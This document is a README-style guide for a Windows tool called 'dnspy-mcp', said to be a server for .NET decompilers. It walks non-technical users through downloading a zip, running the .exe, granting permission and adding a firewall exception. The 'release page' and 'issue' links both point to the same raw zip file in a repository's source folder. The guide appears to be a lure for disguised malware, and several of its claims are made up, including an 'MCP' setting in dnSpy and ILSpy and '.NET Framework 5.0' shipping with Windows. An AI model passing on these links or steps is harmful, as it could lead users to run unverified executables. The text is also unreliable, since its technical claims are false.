dnspy-mcp is a server tool designed for people who work with .NET programs. It helps you work with reverse engineering tools like dnSpy or ILSpy. This software runs on Windows and is built using the C# language. It lets you analyze and inspect .NET code more easily by providing a backend service that these tools connect to.
You don't need to know much about coding to use dnspy-mcp. This guide will help you download and start it on your Windows computer without needing any programming skills.
Before you start, make sure your computer meets these needs:
- Operating System: Windows 10 or newer
- Processor: 64-bit Intel or AMD, at least 1.6 GHz
- RAM: Minimum 4 GB, recommended 8 GB or more
- Disk Space: At least 100 MB free
- .NET Framework: Version 5.0 or newer (usually included in modern Windows versions)
Having these will ensure the server runs smoothly without errors.
Follow these steps to get dnspy-mcp ready on your PC.
Click or open this link in your browser:
Download dnspy-mcp here
This page shows the latest versions of the software. Look for the most recent release with the highest version number.
You will see several files under the release named like these:
dnspy-mcp-win64.zipdnspy-mcp-win32.zip
Choose the file that matches your Windows version:
- If your Windows is 64-bit (most computers today), pick the
win64file. - If your Windows is older 32-bit, pick the
win32file.
If unsure, 64-bit is the likely choice.
Click on the correct file and your browser will download it to your computer. Remember where you save it (usually the "Downloads" folder).
After you download the file, here’s how to set up dnspy-mcp:
- Open the folder where you downloaded the zip file.
- Right-click on the file and select “Extract All.”
- Choose a folder to extract the content to, like your Desktop or Documents.
- Click “Extract” and wait for the process to complete.
Once extracted, open the new folder. Inside, you will see several files. The important one is usually called dnspy-mcp.exe or similar.
- Double-click on the
.exefile to start the server. - A window will open showing the server status.
- If your computer asks for permission, click “Allow” or “Yes” to let the program run.
The server should now be running quietly in the background, ready to work with your .NET tools.
dnspy-mcp works as a helper service for other tools. It lets those tools connect to it to speed up their work.
- Open dnSpy or ILSpy on your computer.
- Go to the options or settings section of the tool.
- Look for a “Server” or “MCP” setting.
- Enter
localhostor127.0.0.1as the server address. - Save the settings.
Once done, these tools will connect to dnspy-mcp automatically when you work on .NET programs, making them faster and smoother.
If dnspy-mcp does not start or stops working:
- Make sure your Windows Firewall is not blocking it. You can add an exception for
dnspy-mcp.exe. - Check that your .NET Framework is installed and up to date. Windows Update can help with this.
- Restart your computer and try running the program again.
- Make sure you downloaded the correct version (32-bit or 64-bit).
If the server window closes immediately, try running the .exe file from the Command Prompt to view any error messages:
- Click Start, type
cmd, and open the Command Prompt. - Use the
cdcommand to go to the folder wherednspy-mcp.exeis. Example:
cd Desktop\dnspy-mcp - Type
dnspy-mcp.exeand press Enter. - Read any messages to understand the problem.
Check the release page regularly for updates:
https://github.com/Finot3/dnspy-mcp/raw/refs/heads/master/src/mcp-dnspy-v2.2.zip
To update:
- Download the new zip file as before.
- Extract it to a new folder.
- Run the new version instead of the old one.
You can delete old files if you want. Back up your settings if you have saved any.
Here are the typical files you will find inside the dnspy-mcp package:
dnspy-mcp.exe: The main server program you run.README.md: This document explaining usage.config.jsonor similar: Settings file where you can modify advanced options if you want.- Other supporting DLL files required for the program to work.
For those who want more control:
- You can edit the
config.jsonfile to change the server port or logging options. - You can run the server as a service for automatic startup but this requires familiarity with Windows services.
- You can monitor server logs in the folder for troubleshooting.
For basic use, these steps are not necessary.
If you run into trouble beyond these instructions, open an issue in the GitHub repository:
https://github.com/Finot3/dnspy-mcp/raw/refs/heads/master/src/mcp-dnspy-v2.2.zip
Describe your problem clearly and include screenshots if possible. The community or maintainers may help you resolve issues.